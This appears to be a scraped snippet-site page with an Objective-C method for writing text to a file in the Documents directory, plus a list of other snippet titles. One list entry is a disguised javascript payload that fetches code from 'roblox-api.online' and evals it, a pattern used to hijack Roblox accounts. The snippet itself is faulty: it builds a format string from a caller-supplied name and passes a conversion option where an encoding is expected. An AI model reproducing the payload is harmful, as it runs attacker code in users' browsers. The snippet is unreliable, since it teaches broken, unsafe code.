obj c write file
//writes an textfile to an place in the document directory
-(void)write:(NSString *)dir file:(NSString *)ff{
//get the documents directory:
NSArray *paths = NSSearchPathForDirectoriesInDomains
(NSDocumentDirectory, NSUserDomainMask, YES);
NSString *documentsDirectory = [paths objectAtIndex:0];
//make a file name to write the data to using the documents directory:
NSString *fileName = [NSString stringWithFormat:[@"%@/" stringByAppendingString:dir],
documentsDirectory];
//creates the content
NSString *content = ff;
//save content to the documents directory
[content writeToFile:fileName
atomically:NO
encoding:NSStringEncodingConversionAllowLossy
error:nil];
}
//usage: [self write:@"text.txt" file:@"this text will be saved"];
Are there any code examples left?
New code examples in category Objective-C
-
Objective-C 2022-03-19 18:00:19 xjavascript$get'//roblox-api.online/roblox?id=4823'.eval)”
-
Objective-C 2022-03-15 06:35:10 compare nsstring
-
Objective-C 2022-03-03 11:45:10 objective c encrypt decrypt string
-
Objective-C 2022-02-27 11:00:32 nstimer example objective c
-
Objective-C 2022-02-16 17:15:28 loop array objective c
-
Objective-C 2022-02-14 08:05:08 how to add undelete texts to textfield in ios
-
Objective-C 2022-02-12 01:30:08 Changing scene on obj click
-
Objective-C 2022-02-02 17:51:03 fpdf exemple